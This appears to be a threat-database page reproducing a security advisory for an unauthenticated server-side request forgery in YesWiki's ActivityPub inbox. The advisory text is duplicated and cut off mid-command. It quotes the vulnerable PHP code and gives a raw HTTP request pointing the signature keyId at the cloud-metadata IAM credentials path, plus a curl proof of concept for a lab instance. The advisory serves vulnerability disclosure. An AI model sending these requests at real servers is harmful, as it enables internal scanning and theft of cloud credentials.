GHSA-vw42-752g-5mrp: YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`
## Summary The `POST /api/forms/{formId}/actor/inbox` route - exposed publicly with `acl:"public"` - accepts an HTTP `Signature` header whose `keyId` parameter is a URL. `HttpSignatureService::verifySignature()` parses the header and **immediately makes a server-side HTTP GET** to that URL, **before** any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (`169.254.169.254`), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata. The only deployment-side precondition is that **ActivityPub be enabled on at least one Bazar form** (`bn_activitypub_enable = '1'`). ## Details ### Affected component * **File:** `tools/bazar/services/HttpSignatureService.php` * **Method:** `HttpSignatureService::verifySignature(Request $request)` * **Sink:** line **96** * **Route:** `tools/bazar/controllers/ApiController.php` line **125** — `@Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}})` ```php // tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD, // lines 83–100) public function verifySignature(Request $request) { if (!$request->headers->has('Signature')) { throw new Exception('No signature'); } $sigConf = parse_ini_string( strtr($request->headers->get('Signature'), ["," => "\n"]) // (a) attacker controls every field ); if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) { throw new Exception('Malformed signature'); } $response = $this->httpClient->request('GET', $sigConf['keyId'], [ // (b) SINK — no validation, 'headers' => [ 'Accept' => 'application/ld+json'] // no allowlist, no scheme ]); // pinning, no IP filtering ... } ``` The inbox controller calls `verifySignature()` **before** running any cryptography: ```php // tools/bazar/controllers/ApiController.php (lines 125–145) /** @Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}}) */ public function postFormActorInbox($formId, Request $request) { $activityPubService = $this->getService(ActivityPubService::class); $httpSignatureService = $this->getService(HttpSignatureService::class); $form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId]; if ($activityPubService->isEnabled($form)) { $activity = json_decode($request->getContent(), true); $httpSignatureService->verifySignature($request); // <-- SSRF fires here $activityPubService->processActivity($activity, $form); return new ApiResponse(null, Response::HTTP_OK, …); } else { throw new NotFoundHttpException(); } } ``` The flow is **public ACL → enabled-form gate → unconditional outbound HTTP**. The attacker controls only the `keyId` value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network. ### End-to-end attack chain A single HTTP request, no session, no CSRF token, no captcha: ```http POST /?api/forms/1/actor/inbox HTTP/1.1 Host: target.example Content-Type: application/activity+json Signature: keyId="http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>",algorithm="rsa-sha256",headers="x",signature="y" {} ``` * The Symfony controller matches the route on `formId=1`. * `ActivityPubService::isEnabled($form)` returns true (set when the operator turned the feature on). * `verifySignature()` parses the header into a key-value array, finds `keyId`, and calls `httpClient->request('GET', '<attacker URL>')`. * YesWiki's server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn't contain `publicKey.publicKeyPem` the controller returns an HTTP 500 whose JSON body **leaks the full exception message and stack trace**, including the URL. ## PoC ### Pre Reqs * Yeswiki v4.6.5 lab image (Setup via podman) * ActivityPub enabled on the target form For the rest of this document: ```bash BASE="http://localhost:8085" CTR="yeswiki-poc" ``` Before we start, make sure ActivityPub is enabled on the target form ```bash podman exec "$CTR" mysql -uroot yeswiki -e \ "SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap FROM yeswiki_nature WHERE bn_id_nature = 1;" ``` Send the unauthenticated SSRF trigger: ```bash TARGET="http://127.0.0.1:9999/aws-metadata?from=ssrf" curl -s -X POST "${BASE}/?api/forms/1/actor/inbox" \ -H "Content-Type: application/activity+json" \ -H "Signature: keyId=\"${TARGET}\",algorithm=\"rsa-sha256\",h
GHSA-vw42-752g-5mrp: YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`
Description
## Summary The `POST /api/forms/{formId}/actor/inbox` route - exposed publicly with `acl:"public"` - accepts an HTTP `Signature` header whose `keyId` parameter is a URL. `HttpSignatureService::verifySignature()` parses the header and **immediately makes a server-side HTTP GET** to that URL, **before** any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (`169.254.169.254`), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata. The only deployment-side precondition is that **ActivityPub be enabled on at least one Bazar form** (`bn_activitypub_enable = '1'`). ## Details ### Affected component * **File:** `tools/bazar/services/HttpSignatureService.php` * **Method:** `HttpSignatureService::verifySignature(Request $request)` * **Sink:** line **96** * **Route:** `tools/bazar/controllers/ApiController.php` line **125** — `@Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}})` ```php // tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD, // lines 83–100) public function verifySignature(Request $request) { if (!$request->headers->has('Signature')) { throw new Exception('No signature'); } $sigConf = parse_ini_string( strtr($request->headers->get('Signature'), ["," => "\n"]) // (a) attacker controls every field ); if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) { throw new Exception('Malformed signature'); } $response = $this->httpClient->request('GET', $sigConf['keyId'], [ // (b) SINK — no validation, 'headers' => [ 'Accept' => 'application/ld+json'] // no allowlist, no scheme ]); // pinning, no IP filtering ... } ``` The inbox controller calls `verifySignature()` **before** running any cryptography: ```php // tools/bazar/controllers/ApiController.php (lines 125–145) /** @Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}}) */ public function postFormActorInbox($formId, Request $request) { $activityPubService = $this->getService(ActivityPubService::class); $httpSignatureService = $this->getService(HttpSignatureService::class); $form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId]; if ($activityPubService->isEnabled($form)) { $activity = json_decode($request->getContent(), true); $httpSignatureService->verifySignature($request); // <-- SSRF fires here $activityPubService->processActivity($activity, $form); return new ApiResponse(null, Response::HTTP_OK, …); } else { throw new NotFoundHttpException(); } } ``` The flow is **public ACL → enabled-form gate → unconditional outbound HTTP**. The attacker controls only the `keyId` value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network. ### End-to-end attack chain A single HTTP request, no session, no CSRF token, no captcha: ```http POST /?api/forms/1/actor/inbox HTTP/1.1 Host: target.example Content-Type: application/activity+json Signature: keyId="http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>",algorithm="rsa-sha256",headers="x",signature="y" {} ``` * The Symfony controller matches the route on `formId=1`. * `ActivityPubService::isEnabled($form)` returns true (set when the operator turned the feature on). * `verifySignature()` parses the header into a key-value array, finds `keyId`, and calls `httpClient->request('GET', '<attacker URL>')`. * YesWiki's server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn't contain `publicKey.publicKeyPem` the controller returns an HTTP 500 whose JSON body **leaks the full exception message and stack trace**, including the URL. ## PoC ### Pre Reqs * Yeswiki v4.6.5 lab image (Setup via podman) * ActivityPub enabled on the target form For the rest of this document: ```bash BASE="http://localhost:8085" CTR="yeswiki-poc" ``` Before we start, make sure ActivityPub is enabled on the target form ```bash podman exec "$CTR" mysql -uroot yeswiki -e \ "SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap FROM yeswiki_nature WHERE bn_id_nature = 1;" ``` Send the unauthenticated SSRF trigger: ```bash TARGET="http://127.0.0.1:9999/aws-metadata?from=ssrf" curl -s -X POST "${BASE}/?api/forms/1/actor/inbox" \ -H "Content-Type: application/activity+json" \ -H "Signature: keyId=\"${TARGET}\",algorithm=\"rsa-sha256\",h
CVSS v3.1
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-vw42-752g-5mrp
- Osv Schema Version
- 1.4.0
- Aliases
- ["CVE-2026-52769"]
- Ecosystems
- ["Packagist"]
- Database Specific Severity
- HIGH
- Cvss Version
- 3.1
Threat ID: 6a50ba7468715ace43580344
Added to database: 07/10/2026, 09:25:08 UTC
Last updated: 07/10/2026, 09:29:19 UTC
Views: 1
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.